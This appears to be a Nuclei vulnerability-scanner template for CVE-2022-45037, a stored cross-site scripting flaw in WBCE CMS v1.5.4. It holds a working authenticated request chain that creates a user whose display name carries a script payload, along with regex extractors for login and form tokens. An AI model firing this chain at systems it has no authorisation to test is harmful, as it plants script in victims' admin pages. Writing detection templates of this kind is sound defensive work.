id: CVE-2022-45037 info: name: WBCE CMS v1.5.4 - Cross Site Scripting (Stored) author: theamanrawat severity: medium description: | A cross-site scripting (XSS) vulnerability in /admin/users/index.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Display Name field. reference: - https://github.com/WBCE/WBCE_CMS - https://shimo.im/docs/dPkpKPQEjXfvYoqO/read - https://nvd.nist.gov/vuln/detail/CVE-2022-45037 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2022-45037 cwe-id: CWE-79 epss-score: 0.00077 cpe: cpe:2.3:a:wbce:wbce_cms:1.5.4:*:*:*:*:*:*:* metadata: max-request: 5 verified: true vendor: wbce product: wbce_cms tags: cve,cve2022,xss,wbce,cms,authenticated http: - raw: - | GET /admin/login/index.php HTTP/1.1 Host: {{Hostname}} - | POST /admin/login/index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded url=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login - | GET /admin/users/index.php HTTP/1.1 Host: {{Hostname}} - | POST /admin/users/index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded formtoken={{formtoken}}&user_id=&username_fieldname={{username_fieldname_2}}&{{username_fieldname_2}}=test-{{randstr}}&password={{randstr}}&password2=&display_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email={{randstr}}%40gmail.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit= - | GET /admin/users/ HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: body_5 words: - "" - "SESSION_TIMEOUT" condition: and - type: word part: header words: - "text/html" - type: status status: - 200 extractors: - type: regex name: username_fieldname group: 1 regex: - 'name="username_fieldname" value="(.*)"' internal: true part: body - type: regex name: password_fieldname group: 1 regex: - 'name="password_fieldname" value="(.*)"' internal: true part: body - type: regex name: formtoken group: 1 regex: - 'name="formtoken" value="(.*)"' internal: true part: body - type: regex name: username_fieldname_2 group: 1 regex: - 'name="username_fieldname" value="(.*)"' internal: true part: body